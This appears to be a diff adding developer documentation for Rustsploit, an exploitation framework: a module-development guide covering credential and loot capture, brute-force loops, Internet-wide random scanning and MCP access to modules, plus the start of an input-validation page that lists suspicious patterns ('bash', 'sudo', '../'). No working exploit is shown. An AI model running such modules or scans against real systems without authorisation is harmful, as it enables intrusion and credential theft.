| `osint/jwks_inspector` | Discovers JWKS endpoints under common paths, parses the key set, prints a per-key audit (kid/kty/alg/use/modulus length), and optionally exports each RSA public key as PEM (input for jwt_tool RS256→HS256 alg-confusion). | Excellent | |
## plugins (1)
- 1 modules, 0 with `check()`
| Module | Description | Rank | Check |
|---|---|---|---|
| `plugins/sample_plugin` | Template plugin demonstrating the RustSploit native plugin API — uses ModuleCtx + ModuleOutcome and emits a Note finding per invocation. | Normal | |
+788
View File
@@ -0,0 +1,788 @@
# Module Development
Reference for maintainers and contributors writing new Rustsploit modules.
---
## How Modules Are Discovered
Rustsploit uses an `inventory`-based compile-time registry — no `build.rs`, no
codegen file, no central match table:
1. **Each module file ends with `crate::register_native_module!(...)`** — a macro
that expands to a unique `__ModuleImpl` struct + `impl Module` + an
`inventory::submit!` block.
2. **At binary startup, `inventory::iter::<ModuleEntry>` walks the registry**
collected at link time. `crate::module::registered()` returns every
`ModuleEntry`; `find(path)` looks up by `category/name` or short leaf name.
3. **Shell / CLI / API / MCP all resolve modules through `commands::run_module`**,
which calls `module::find(...)` and then `scheduler::run(...)`. Single dispatcher.
4. **Mass-scan fan-out is universal**`Target::Cidr` / `Multi` / `File` /
`Random` is fanned out by `scheduler::run`. Modules only ever see
`Target::Single` inside their `run` body.
Because the registry is collected at compile time, there is no runtime
discovery cost and no drift — if you forget the `register_native_module!`
line, the module simply isn't reachable.
---
## Code Rules
- **No dead code.** All code must be intentional and used. Do not leave unused functions, imports, or variables.
- **No `unsafe` blocks.** Do not use `unsafe` Rust anywhere in this codebase.
---
## Project Code Layout
```text
rustsploit/
├── Cargo.toml
├── src/
│ ├── main.rs # Entry point — CLI or shell mode, input validation
│ ├── cli.rs # Clap-based CLI parser and dispatcher
│ ├── shell.rs # Interactive shell loop + UX helpers
│ ├── api.rs # REST + WebSocket API server — PQ encryption, rate limiting
│ ├── ws.rs # PQ-encrypted WebSocket transport (/pq/ws)
│ ├── config.rs # Global config and target validation
│ ├── module_info.rs # ModuleInfo, CheckResult, ModuleRank types
│ ├── global_options.rs # Persistent global options (setg/unsetg)
│ ├── cred_store.rs # Credential store (JSON persistence)
│ ├── spool.rs # Console output logging
│ ├── workspace.rs # Host/service tracking + workspaces
│ ├── loot.rs # Loot/evidence management
│ ├── export.rs # JSON/CSV/summary report export
│ ├── jobs.rs # Background job management
│ ├── mcp/
│ │ ├── mod.rs # MCP server entry point (--mcp flag)
│ │ ├── server.rs # rmcp ServerHandler adapter (official MCP SDK owns transport)
│ │ └── tools.rs # 29 MCP tool implementations
│ ├── commands/
│ │ └── mod.rs # Single dispatcher: module::find → scheduler::run
│ ├── module.rs # Module trait, ModuleCtx, register_native_module! macro
│ ├── scheduler.rs # Universal mass-scan fan-out, finding routing, checkpoint/resume
│ ├── modules/
│ │ ├── exploits/ # Exploit modules
│ │ ├── scanners/ # Scanner modules
│ │ ├── creds/ # Credential modules
│ │ ├── osint/ # OSINT modules
│ │ └── plugins/ # Plugin modules
│ ├── native/ # Native integrations
│ │ ├── mod.rs
│ │ ├── rdp.rs # Native RDP auth (X.224, TLS, CredSSP/NTLM)
│ │ ├── payload_engine.rs # Payload encoding/generation
│ │ ├── url_encoding.rs # URL encoding utilities
│ │ └── async_tls.rs # Async TLS helpers
│ └── utils/ # Shared helpers (directory module)
│ ├── mod.rs # Re-exports
│ ├── prompt.rs # Config-aware prompts (cfg_prompt_*)
│ ├── sanitize.rs # Input validation, length limits
│ ├── target.rs # Target normalization (IPv4/IPv6/CIDR/hostname)
│ ├── network.rs # HTTP client builders, TCP/UDP connect helpers
│ ├── privilege.rs # Root privilege check (require_root)
│ └── modules.rs # Module discovery helpers
├── docs/ # This wiki
├── lists/ # Wordlists and data files
└── README.md # Product overview
```
---
## Required Module Signature
Two shapes are accepted. New modules should use the **native shape**.
### Native shape (preferred)
```rust
use anyhow::{Context, Result};
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
use crate::module_info::{CheckResult, ModuleInfo, ModuleRank};
pub fn info() -> ModuleInfo { /* ... */ }
pub async fn check(ctx: &ModuleCtx) -> CheckResult { /* optional */ }
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx.target.as_single().unwrap_or("");
let mut outcome = ModuleOutcome::ok();
// ... probe target ...
if vulnerable {
outcome.findings.push(Finding {
target: target.to_string(),
kind: FindingKind::Vulnerable,
message: "<short marker>".to_string(),
data: None,
});
}
Ok(outcome)
}
crate::register_native_module!(crate::module::Category::Exploits, "your_module", native, has_check);
```
The macro form selects the body shape:
- `register_native_module!(Cat::X, "name")` — legacy, no check
- `register_native_module!(Cat::X, "name", has_check)` — legacy, with check
- `register_native_module!(Cat::X, "name", native)` — native, no check
- `register_native_module!(Cat::X, "name", native, has_check)` — native, with check
The scheduler routes `outcome.findings` into LootStore (`Credential`),
Workspace notes (`Vulnerable`), and the events bus (every kind). No manual
plumbing — see `route_findings` in `src/scheduler.rs`.
### Legacy shape (existing modules)
```rust
pub async fn run(target: &str) -> anyhow::Result<()> { /* ... */ Ok(()) }
pub async fn check(target: &str) -> CheckResult { /* optional */ }
crate::register_native_module!(crate::module::Category::Exploits, "your_module", has_check);
```
Stdout-only via `mprintln!`. Findings are not emitted — the macro discards
the `Result<()>` into `ModuleOutcome::ok()`.
---
## Migrating from legacy to native
Mechanical recipe per file:
1. Add the imports — `use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};`.
2. Change `pub async fn run(target: &str) -> Result<()>` to
`pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome>`.
3. At the top of the body: `let target = ctx.target.as_single().unwrap_or("");`. Mass scan still works — the scheduler fans out `Cidr/Multi/File/Random` into per-host `Target::Single` before invoking `run`, so `as_single()` is `Some(...)` for every legitimate call. `unwrap_or("")` matches the legacy `target: &str` semantic; downstream `cfg_prompt_*` / `normalize_target` will surface a real error if the empty string actually leaks through.
4. Optionally migrate `check`: `pub async fn check(target: &str) -> CheckResult`
`pub async fn check(ctx: &ModuleCtx) -> CheckResult`, with the same
`as_single()` pattern.
5. Replace `Ok(())` with `Ok(outcome)` (declare `let mut outcome = ModuleOutcome::ok();`
near the top).
6. At each "found something" stdout site (vuln marker, recovered credential,
open port banner), push a `Finding` of the right kind.
7. Update the registration line — append `, native` (and keep `, has_check`
if applicable) so the registration becomes
`register_native_module!(Cat::X, "name", native[, has_check]);`.
`ctx.options.get_or("port", 22u16)` replaces ad-hoc parsing of legacy
`cfg_prompt_*` answers when you need typed access; the legacy
`cfg_prompt_*` helpers continue to work because the macro keeps the
`RUN_CONTEXT` task-local in scope.
Reference migrations:
- `src/modules/exploits/sample_exploit.rs` — has_check + Vulnerable finding
- `src/modules/scanners/sample_scanner.rs` — Banner findings (HTTP/HTTPS)
- `src/modules/creds/generic/sample_cred_check.rs` — Credential finding with `data` JSON
---
## Optional Module Functions
Modules can optionally provide metadata and vulnerability check functions:
### Module Info (`info`)
```rust
use crate::module_info::{ModuleInfo, ModuleRank};
pub fn info() -> ModuleInfo {
ModuleInfo {
name: "My Exploit Module".to_string(),
description: "Exploits CVE-XXXX-YYYY in FooBar device firmware.".to_string(),
authors: vec!["Your Name".to_string()],
references: vec![
"CVE-XXXX-YYYY".to_string(),
"https://example.com/advisory".to_string(),
],
disclosure_date: Some("2025-01-15".to_string()),
rank: ModuleRank::Good,
default_port: Some(8080),
}
}
```
The `info` shell command and `GET /api/module/{category}/{name}` endpoint display this metadata.
**Rank values:** `Excellent` (reliable, no crash risk), `Great`, `Good` (default), `Normal`, `Low`, `Manual`.
### Vulnerability Check (`check`) — historical
> **Rustsploit is exploitation-only.** The dedicated `check()` / `CheckResult`
> non-destructive-verification subsystem was removed; modules run an exploit and
> report findings, and you should **not** reintroduce a check phase. The
> `check`-related material in this and the next few sections is retained for
> readers maintaining older modules — author new work against `run(&ModuleCtx)`
> and emit `Finding`s. The `register_native_module!` `has_check` arm and the
> `check` shell command / `POST /api/check` endpoint are vestigial and may be
> retired.
```rust
use crate::module_info::CheckResult;
pub async fn check(target: &str) -> CheckResult {
// (historical) — do NOT add a check phase to new modules
match test_vulnerability(target).await {
Ok(true) => CheckResult::Vulnerable("Version 1.2.3 is affected".to_string()),
Ok(false) => CheckResult::NotVulnerable("Patched version detected".to_string()),
Err(e) => CheckResult::Error(format!("Check failed: {}", e)),
}
}
```
### Auto-Store Credentials and Loot
Modules can auto-store discovered data:
```rust
// Store a found credential
crate::cred_store::store_credential(host, port, "ssh", username, password,
crate::cred_store::CredType::Password, "creds/generic/ssh_bruteforce");
// Store loot (config file, hash dump, etc.)
crate::loot::store_loot(host, "config", "Router config dump", data.as_bytes(), "exploits/router_rce");
// Track a discovered host/service
crate::workspace::track_host(ip, Some("router.local"), Some("Linux 4.x"));
crate::workspace::track_service(ip, 22, "tcp", "ssh", Some("OpenSSH 8.9"));
```
---
## Adding a New Module — Checklist
1. **Choose a location** under `src/modules/{exploits,scanners,creds,osint,plugins}`.
Use subfolders for vendor families (e.g., `exploits/cisco/`).
2. **Create the `.rs` file** with `pub fn info()` + `pub async fn run(...)` (native or legacy
shape — see above) and end the file with `crate::register_native_module!(Category::X, "name"[, native][, has_check]);`.
3. **Register in `mod.rs`** — add `pub mod your_module;` to the sibling `mod.rs` so the
compiler links the file. Without this the `inventory::submit!` block never reaches the
binary and the module is silently un-dispatchable. There is no `build.rs` and no
central match table — the registry is collected at link time from every
`register_native_module!` invocation.
4. **Run `cargo build`** — the new module appears in `--list-modules` and is reachable
through every front-end (CLI `-m`, shell `use`, `/api/run`, MCP `module.run`).
5. **Regenerate the catalog** (optional) — `cargo run -- --gen-module-catalog > docs/Module-Catalog.md`
walks the live registry and rewrites the catalog.
---
## Module Skeleton (native shape)
```rust
use anyhow::{Context, Result};
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::utils::network::{build_http_client_with, HttpClientOpts};
use std::time::Duration;
pub fn info() -> ModuleInfo {
ModuleInfo {
name: "example_status_probe".into(),
description: "Probe /status for the 'vulnerable' marker.".into(),
authors: vec!["Your Name".into()],
references: vec!["https://example.com/advisory".into()],
disclosure_date: None,
rank: ModuleRank::Good,
}
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx
.target
.as_single()
.context("module requires a single-host target")?
.to_string();
let port: u16 = ctx.options.get_or("port", 80u16);
// Hierarchical rate limiter — global → per-module → per-target buckets.
ctx.rate_limit(&target).await;
let url = format!("http://{target}:{port}/status");
let body = build_http_client_with(Duration::from_secs(15), HttpClientOpts::permissive())?
.get(&url)
.send()
.await
.with_context(|| format!("Failed to reach {url}"))?
.text()
.await
.context("Failed to read response body")?;
let mut outcome = ModuleOutcome::ok();
if body.contains("vulnerable") {
outcome.findings.push(Finding {
target: target.clone(),
kind: FindingKind::Vulnerable,
message: format!("{target}:{port} reports vulnerable"),
data: None,
});
}
Ok(outcome)
}
crate::register_native_module!(crate::module::Category::Scanners, "example_status_probe", native, has_check);
```
Notes:
- Mass-scan fan-out (`Cidr` / `File` / `Multi` / `Random`) is handled by the scheduler;
inside `run` you only ever see `Target::Single`. `as_single()` returning `None` is
a programming error, not user input.
- `ctx.options.get_or("key", default)` is the typed escape from string parsing.
Operators set values via shell `set port 8080`, CLI `-o port=8080`, or the API
`options` map — all routed through `ModuleOptions`.
- Findings push into `outcome.findings`; the scheduler routes them into LootStore
(`Credential`), Workspace notes (`Vulnerable` / `OpenPort` / `Banner` / `Note`),
and the events bus automatically. Do not call `cred_store::store_credential` or
`workspace::add_note` yourself in native modules — emit a `Finding` instead.
### Legacy skeleton (existing modules)
```rust
use anyhow::{Context, Result};
use colored::Colorize;
use crate::utils::{normalize_target, cfg_prompt_port, cfg_prompt_yes_no};
pub async fn run(target: &str) -> Result<()> {
let target = normalize_target(target)?;
let port = cfg_prompt_port("port", "Target port", 80).await?;
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
crate::mprintln!("{} Checking {}:{}", "[*]".cyan(), target, port);
// ... probe ...
Ok(())
}
crate::register_native_module!(crate::module::Category::Scanners, "example", has_check);
```
The legacy macro arms keep `cfg_prompt_*`, `mprintln!`, and `is_cancelled()` working
through the `RUN_CONTEXT` task-local that the macro installs around every call.
Findings are not emitted — the macro discards `Result<()>` into `ModuleOutcome::ok()`
and the route-findings pipeline sees nothing.
---
## Output Conventions
| Prefix | Color | Meaning |
|--------|-------|---------|
| `[+]` | Green | Success / found |
| `[-]` | Red | Not found / not vulnerable |
| `[!]` | Yellow | Warning |
| `[*]` | Cyan | Info / progress |
Use `.green()`, `.red()`, `.yellow()`, `.cyan()` from the `colored` crate. Keep messages short and actionable.
---
## Async I/O Guidelines
- Prefer `reqwest`, `tokio::net`, `tokio::process` for async work.
- Wrap synchronous blocking calls with `tokio::task::spawn_blocking` (see the SSH module for reference).
- For concurrency:
- `tokio::sync::Semaphore` (wrapped in `Arc`) for async modules.
- `threadpool` + `crossbeam-channel` for synchronous protocols (Telnet, POP3).
---
## Error Handling
Bubble up errors using `anyhow::Context` so the shell/CLI surface meaningful messages:
```rust
.with_context(|| format!("Failed to connect to {}", target))?
```
**No panics in module code.** As of v0.4.9 the entire `src/` tree is panic-free — `grep` finds zero `.unwrap()`, `.expect(`, `panic!(`, `unreachable!(`, `unimplemented!(`, or `todo!(`. Use `?` propagation, `_or(default)`, `_or_default()`, `_or_else(|| ...)`, or explicit `match { Err(e) => ... }`. The CI policy is to keep that grep returning empty.
For length-checked slice conversions (a common source of historical `.expect()`), use `try_into().map_err(|_| anyhow!("descriptive context"))?` rather than `.expect("length was checked")` — even when the length truly was checked. Future readers shouldn't have to verify the invariant by hand.
---
## Cancellation
Long-running modules MUST honor cancellation so `kill <job_id>` from the shell or `DELETE /api/jobs/<id>` from the API actually stops the work. The cancellation token is per-`RunContext` and is triggered automatically when a job is killed.
```rust
loop {
if crate::context::is_cancelled() {
crate::mprintln!("[!] Cancelled by user, stopping at host {}", current);
break;
}
// ... one iteration of work ...
}
```
For `tokio::select!`-style code, use `crate::context::cancellation_token()` and `select!` against `tok.cancelled().await`:
```rust
let tok = crate::context::cancellation_token();
tokio::select! {
res = real_work() => handle(res),
_ = tok.cancelled() => {
crate::mprintln!("[!] Cancelled");
return Ok(());
}
}
```
The framework also emits `ModuleStarted` and `ModuleFinished` events automatically around every `run_module(...)` call, so subscribers always see lifecycle transitions.
---
## Lifecycle Hooks
Native modules can override three optional hooks on the `Module` trait. The
scheduler runs them in a fixed order around every CLI/API invocation:
```text
pre_check → (per-host) check / run → cleanup
↑ ↑
once, before fan-out once, after fan-out
```
- `pre_check(&ModuleCtx)` — validate `ctx.options` once before fan-out so a `/16`
scan with a missing wordlist surfaces one error instead of 65 534 identical ones.
Default: succeed.
- `cleanup(&ModuleCtx, &ModuleOutcome)` — release long-lived resources (open files,
persistent connections) after the whole fan-out completes or is cancelled.
`outcome` is the aggregate (success count + every routed finding). Default: no-op.
`check(&ModuleCtx)` is the existing non-destructive vulnerability check; the scheduler
exposes it via the shell `check` command and `POST /api/check`. Override
`fn has_check()` if your check is meaningful (the `register_native_module!` `has_check`
token sets this for you).
Tracked task spawns:
```rust
ctx.spawn(async move {
long_running_telemetry().await;
});
```
`ctx.spawn` registers the join handle on the active `RunContext`. The scheduler
calls `crate::context::abort_all_spawned()` from `cleanup`, so cancelled or failed
runs do not leak orphan tasks. Plain `tokio::spawn` is still allowed but bypasses
this — only use it for genuinely fire-and-forget work that can outlive the module.
## Capabilities
`fn capabilities(&self) -> Capabilities` advertises what the module needs / promises:
```rust
use crate::module::Capabilities;
fn capabilities(&self) -> Capabilities {
Capabilities {
safe_for_high_concurrency: true, // rate-limit-friendly probe
requires_root: false,
check_only: false, // run() is destructive / interactive
network: true,
}
}
```
There is **no** per-module mass-scan flag — the scheduler fans out for every module
(`Capabilities::native_mass_scan` was removed in v0.5.1). Capabilities feed into UI
gating ("show check button", "warn that root is needed") and future scheduler
decisions; they are not load-bearing today, so default values are fine for most
modules.
## Scheduler Limits & Rate Limiter
`scheduler::SchedulerLimits` carries the per-invocation budget. Defaults are pulled
from the active tenant's `global_options` (`set` / `setg` in the shell):
| Field | Default | `global_options` key |
|---|---|---|
| `concurrency` | 50 | `concurrency` |
| `timeout_secs` | 60 | `module_timeout` |
| `max_random_hosts` | 10 000 | `max_random_hosts` |
| `precheck_port` | _none_ | `port` |
| `ipv6_max_hosts` | 2³² | _hard limit_ |
| `warn_threshold` | 65 536 | _hard limit_ |
| `honeypot_detection` | on | `honeypot_detection` |
Per-target deadlines are enforced with `tokio::time::timeout`; per-host honeypot
checks call `utils::network::quick_honeypot_check` and skip targets that look like
they have 11+ common ports open.
Rate limiting is hierarchical (`crate::rate_limit::GlobalLimiter`):
```text
global RPS → per-module RPS → per-target RPS
```
Native modules call `ctx.rate_limit(target_host).await` once per round trip:
```rust
for cred in &candidates {
if ctx.is_cancelled() { break; }
ctx.rate_limit(&target).await; // gate every probe
try_login(&target, cred).await?;
}
```
All tiers default to RPS = 0 (no-op). Operators tune them through `global_options`:
- `global_rps` — process-wide ceiling (the `LIMITER` singleton in `src/rate_limit.rs`).
- `module_rps` — default cap per module-type bucket; overridable per module via
`module_rps:<category/name>` (e.g. `module_rps:scanners/cors_reflection_scanner`).
- `target_rps` — cap per `(module, target_host)` bucket.
Because `LIMITER` is a `Lazy<Arc<GlobalLimiter>>`, the same budget applies across
concurrent scheduler invocations — two parallel runs share one global bucket.
## Structured Findings
Native modules emit findings via `outcome.findings.push(Finding { ... })` — the
scheduler routes each one based on `kind`:
| `FindingKind` | Routed to |
|---|---|
| `Credential` | `LootStore::store_loot` (kind = `"credential"`, payload = `data` JSON or `message`) |
| `Vulnerable` | `Workspace::add_note` |
| `OpenPort` / `Banner` / `Note` | `Workspace::track_host` + `Workspace::add_note` (when message non-empty) |
Every finding (regardless of kind) is also broadcast as
`ModuleEvent::Finding { module, target, kind, message }` on the events bus.
WebSocket subscribers (panels, MCP tooling, integrations) consume them without
grepping stdout.
Legacy modules can still emit one-off events directly:
```rust
crate::events::emit(crate::events::ModuleEvent::CredentialFound {
host: target.to_string(),
port,
service: "ssh".into(),
username: user.into(),
});
```
Available variants (all `#[non_exhaustive]` — adding more is non-breaking):
- `ModuleStarted { module, target }` — auto-emitted by `commands::run_module`
- `ModuleFinished { module, target, success }` — auto-emitted on return
- `HostUp { host }`
- `ServiceDetected { host, port, service, version: Option<String> }`
- `CredentialFound { host, port, service, username }`
- `LootStored { id, host, kind }`
Emission is non-blocking and silently drops when there are no subscribers (the common CLI-only case).
---
## Network Wrappers & Source Port
All TCP/UDP connections must go through the framework's network wrappers so
`setg source_port <port>` is honoured universally — including during mass-scan
fan-out where hundreds of concurrent tasks share the same source port via
`SO_REUSEADDR` / `SO_REUSEPORT`.
| Wrapper | Use case |
|---------|----------|
| `tcp_connect_str(addr, timeout)` | Async TCP from `"host:port"` string |
| `tcp_connect_addr(addr, timeout)` | Async TCP from `SocketAddr` |
| `blocking_tcp_connect(addr, timeout)` | Sync TCP for `spawn_blocking` (e.g. telnet crate) |
| `udp_bind(Some(ip))` | UDP socket with correct address family |
**Third-party library pattern:** Libraries (suppaftp, telnet) that create their
own TCP connections bypass source port binding. Instead, connect through the
framework wrapper and pass the pre-connected stream:
```rust
// FTP (suppaftp)
let tcp = crate::utils::network::tcp_connect_str(&addr, timeout).await?;
let ftp = AsyncFtpStream::connect_with_stream(tcp).await?;
// Telnet (telnet crate, blocking)
let tcp = crate::utils::network::blocking_tcp_connect(&sa, timeout)?;
let telnet = Telnet::from_stream(Box::new(tcp), 500);
```
**Never use** `TcpStream::connect()`, `UdpSocket::bind("0.0.0.0:0")`, or
library-level connect functions (`AsyncFtpStream::connect(addr)`,
`Telnet::connect(addr)`) — they bypass source port binding.
---
## Target-Specific Filenames
When a module writes output files (results, configs, payloads), include the
target in the filename to avoid clobbering under concurrent mass scan:
```rust
let safe = target.replace(['/', ':', '.', '[', ']'], "_");
let path = format!("results_{}.txt", safe);
```
For temp directories, use per-invocation isolation:
```rust
let work_dir = std::env::temp_dir().join(
format!("rsploit_module_{:08x}", rand::rng().random::<u32>())
);
```
---
## Batch Mode
When the framework dispatches a mass-scan target (`0.0.0.0`, `random`, CIDR, file, comma-separated), it enters **batch mode** and fans out N concurrent module invocations against single IPs. **Modules MUST gate interactive UI behind `is_batch_mode()`** or risk N concurrent menu prints flooding the terminal:
```rust
use crate::context::is_batch_mode;
pub async fn run(target: &str) -> Result<()> {
if !is_batch_mode() {
crate::mprintln!("=== My Module ===");
crate::mprintln!("[*] Loaded {} targets", n);
}
// For menus that pick a target type (Single / Subnet / File),
// short-circuit to "Single Target" — the framework already orchestrated targets.
let mode = if is_batch_mode() {
ModeChoice::SingleTarget
} else {
// print menu, read cfg_prompt_default("mode", ...), parse
};
// For REPL-style modules, break out after one action in batch mode:
let in_batch = is_batch_mode();
loop {
let cmd = cfg_prompt_default("cmd", "exec");
do_one_action(&cmd).await?;
if in_batch { break; }
}
Ok(())
}
```
The cached `cfg_prompt_default(...)` returns the same value every call, so a REPL loop reading prompts spins forever in batch mode unless you `break;` after one iteration. This was the v0.4.9 root cause for ~22 modules across two sweeps — see the changelog entry.
### Interactive REPLs and local-only modules
Modules with interactive REPLs (e.g. `h3c_websocket_dump`) or local-only
functionality (e.g. `windows_dwm_cve_2026_20805`) should bail immediately
in batch mode since they cannot operate meaningfully under fan-out:
```rust
if crate::utils::is_batch_mode() {
anyhow::bail!("Interactive REPL not supported in mass-scan mode.");
}
```
---
## Wordlists & Resources
Store bundled lists under `lists/` and document them in `lists/readme.md`. Reference paths relative to the working directory.
For canonical lists, prefer the checksum-pinned resolver `crate::utils::wordlist::resolve(name)` over shipping a copy: it downloads + SHA-256-verifies into `~/.rustsploit/wordlists/` on first use and reuses the cache after. As of the 2026-06-13 release the catalog is seeded with 6 curated SecLists entries (`passwords-top-1k`, `passwords-top-10k`, `usernames-short`, `web-common`, `web-raft-small-dirs`, `subdomains-top5k`); `wordlist::catalogue()` lists every name this build knows. See [`Utilities-Helpers.md`](Utilities-Helpers.md).
## Service / TLS Fingerprinting Helpers
Two shared fingerprinting surfaces are available to scanner modules (added 2026-06-13):
- **`crate::utils::recog`** — a Rapid7-Recog-style banner matcher. Feed it a banner (SSH/FTP/SMTP/MySQL/HTTP `Server:` header) and it returns structured fields (`service.product` / `.version` / `.vendor`, `os.product`, `service.cpe23`). `scanners/service_scanner` already uses it to enrich detected versions with a product/version + CPE; new banner-reading scanners should reuse it rather than hand-rolling regex.
- **`crate::utils::tls_fingerprint`** — JARM (canonical 62-char hash), JA3, and JA3S over a raw `TcpStream`. The reference consumer is `scanners/jarm_scan`. Parsing is fully bounds-checked and degrades to the all-zero JARM hash on a down host / TLS alert / truncated response.
## Per-Run Output Auto-Save
Console / CLI module runs auto-append all of their output (stdout + stderr, captured through the `mprintln!` / `meprintln!` routing) to `~/.rustsploit/loot/<module> <YYYY-MM-DD_HH-MM-SS> results.txt` via `src/results_sink.rs` (append mode, begun/ended per run in `commands::run_module`). You do not need to add your own "save results to file" logic for this — append mode also means a multi-host mass scan accumulates into one run file instead of racing to overwrite. API / MCP runs return their output to the caller via `OUTPUT_BUFFER` and are not duplicated to disk.
---
## Framework-Level Multi-Target Dispatch
`commands::run_module` resolves the requested name through `module::find` and hands the
boxed `Module` + parsed `Target` to `scheduler::run`. The scheduler is the only place
that knows how to fan a target out — module bodies always see `Target::Single`.
Supported target shapes (parsed by `Target::parse`):
- **Single host**: `10.0.0.1`, `example.com`, `[2001:db8::1]:80``Target::Single`.
- **Comma-separated list**: `192.168.1.1,192.168.1.2,10.0.0.1``Target::Multi`. Capped
at 4 096 entries; each entry recursively re-parses (so a list of CIDRs is allowed).
- **CIDR subnet**: `192.168.1.0/24``Target::Cidr`. Refuses IPv6 ranges wider than
`ipv6_max_hosts` (default 2³² hosts) and prompts above `warn_threshold` (default 65 536).
- **File-based target list**: any path that resolves to an existing file → `Target::File`.
Blank/comment lines are skipped at fan-out time.
- **Random mass scan**: `0.0.0.0`, `0.0.0.0/0`, or `random``Target::Random`. Capped
at `max_random_hosts` (default 10 000) and skips ranges in `crate::exclusions::ExclusionSet`.
Every shape goes through the same `pre_check` → fan-out → `route_findings``cleanup`
pipeline (see _Lifecycle Hooks_). A module that handles a single host correctly
inherits subnet, list, file, and `0.0.0.0/0` scanning for free.
---
## 0.0.0.0/0 Internet-Wide Scanning
`Target::Random` (parsed from `0.0.0.0`, `0.0.0.0/0`, or `random`) fans out random
public IPs through `scheduler::fanout_random`, capped at `SchedulerLimits::max_random_hosts`.
The scheduler skips addresses that match `crate::exclusions::ExclusionSet` — by
default this covers bogons, RFC 1918, reserved/documentation ranges, and the public
DNS providers. The set is built from the active tenant's `global_options` via
`crate::exclusions::shared()`; operators add or remove ranges through `set` /
`setg` keys (or an exclusion file) without touching module code.
Modules do **not** roll their own random-IP loops or `EXCLUDED_RANGES` constants —
the historical `utils::bruteforce::run_mass_scan` + per-module `MassScanConfig`
pattern was removed in v0.5.1. Honeypot detection is suppressed in mass-scan mode
because the per-host probe would itself be the slow path.
---
## Current Cleanup Work
Active workstreams (snapshot — see `docs/Legacy.md` for the running ledger):
- **Native body migration.** Every module is registered through `register_native_module!`
but most still use the legacy `pub async fn run(target: &str)` shape behind the macro.
Bodies are being ported one file at a time to `pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome>` so findings flow into LootStore / Workspace / events
instead of stdout. Migration recipe is in _Migrating from legacy to native_ above.
- **Compiler warning sweep.** `cargo build` currently surfaces ~84 warnings — mostly
unused imports left behind by mid-migration scanner / exploit modules
(`FindingKind`, `Finding`, `cfg_prompt_*` helpers, leftover mass-scan constants
like `EXCLUDED_RANGES`, `generate_random_public_ip`, `MASS_SCAN_CONCURRENCY`,
`DEFAULT_TIMEOUT_SECS`, `COMMON_TELNET_PORTS`). Fix the underlying cause (delete
the leftover code or wire it in) — do not paper over with `#[allow(dead_code)]`,
`#[allow(unused_imports)]`, `let _ = ...`, or `_var` renames. The grep policy is
zero suppression attributes in `src/`.
- **Bad error-handling patterns.** `grep -rn 'map_err(|e| anyhow!('` and
`grep -rn 'let _ ='` periodically — both usually hide a real propagation path.
Prefer `.with_context(|| "...")?` over re-wrapping with `anyhow!`, and replace
`let _ = ...` with the explicit `if let Err(e) = ... { tracing::warn!(...); }`
pattern when the failure really is recoverable.
- **Wordlist consolidation.** Module-level `WORDLIST.lines()` / `include_str!` blocks
are being moved into `crate::utils::wordlist` so every brute-forcer reads through
the same loader (with caching, size caps, and the `--strict-wordlist` toggle). The
checksum-pinned catalog is now seeded with 6 SecLists entries (2026-06-13) — new
brute-forcers should `wordlist::resolve(name)` a catalog list rather than embed one.
- **Helper consolidation.** TLS helpers in `src/native/async_tls.rs`,
`read_async_capped` / `DEFAULT_BODY_CAP` in `src/utils/network.rs`, and the
`cancellation_token()` accessor in `src/context.rs` are the canonical entry
points. Modules (notably `http2_rapid_reset`, `sshpwn_session`, the DoS family)
are being migrated off of their per-module reimplementations.
- **New scanner / OSINT modules** added recently — `cors_reflection_scanner`,
`security_headers_scanner`, `csp_audit_scanner`, `subdomain_takeover_scanner`,
`source_map_scanner`, `wellknown_scanner`, `wp_xmlrpc_scanner`, `wp_user_enum`,
`s3_bucket_scanner`, `m365_userenum_scanner`, plus `osint/cname_chain` and
`osint/jwks_inspector`. They auto-appear in `--list-modules` and the catalog;
follow-up bug fixes are tracked under the per-module sections of
`docs/Changelog.md`.
- **External bug-bounty corpus.** `_analysis/` carries the cross-program findings
index used to drive new module work (which probes earned findings, which vector
classes are still untested). It is the source of truth for "where should the next
scanner live"; do not edit historical reports under `_analysis/`, append a new
finding instead.
- **Open audit findings (medium / low).** Tenant cache eviction (M2),
`std::sync::RwLock` on the tokio path (M3), and the L1L4 path-validation
cleanups remain. P0 items (PQ rekey deadlock, SSRF bypass) are tracked in
`docs/Legacy.md` § _Out of scope_ and live on a separate hardening workstream.
+273
View File
@@ -0,0 +1,273 @@
# Security & Input Validation
Rustsploit implements defence-in-depth throughout the codebase. All contributors must follow these patterns when writing modules or modifying core code.
---
## Validation Constants
| File | Constant | Value | Purpose |
|------|----------|-------|---------|
| `shell.rs` | `MAX_INPUT_LENGTH` | 4096 | Maximum shell input length |
| `sanitize.rs` | `MAX_TARGET_LENGTH` | 2048 | Maximum target string length |
| `shell.rs` | `MAX_URL_LENGTH` | 2048 | Maximum URL length |
| `shell.rs` | `MAX_PATH_LENGTH` | 4096 | Maximum file path length |
| `utils.rs` | `MAX_FILE_SIZE` | 10 MB | Maximum file size to read |
| `config.rs` | `MAX_HOSTNAME_LENGTH` | 253 | DNS hostname limit |
| `api.rs` | `MAX_REQUEST_BODY_SIZE` | 1 MB | API request body limit |
| `api.rs` | `MAX_TRACKED_IPS` | 100,000 | IP tracker limit |
---
## Security Patterns
### 1. Input Length Validation
```rust
if input.len() > MAX_INPUT_LENGTH {
return Err(anyhow!("Input too long (max {} characters)", MAX_INPUT_LENGTH));
}
```
### 2. Input Sanitization
The `sanitize_string_input()` function performs multiple layers of cleaning:
1. **Null byte removal** -- inputs containing `\0` are rejected outright
2. **Control character filtering** -- all control characters (except `\t`) are stripped from the input
3. **Length enforcement** -- inputs exceeding `MAX_COMMAND_LENGTH` are rejected
```rust
// Reject null bytes, then filter control characters (except tab)
let sanitized: String = input.chars()
.filter(|c| !c.is_control() || *c == '\t')
.collect();
```
For command-specific validation (`validate_command_input`), null bytes are stripped and length is enforced against `MAX_COMMAND_LENGTH`.
If suspicious patterns (`bash`, `sudo`, `../`) are detected, a warning is printed but the string is still returned unmodified:
```
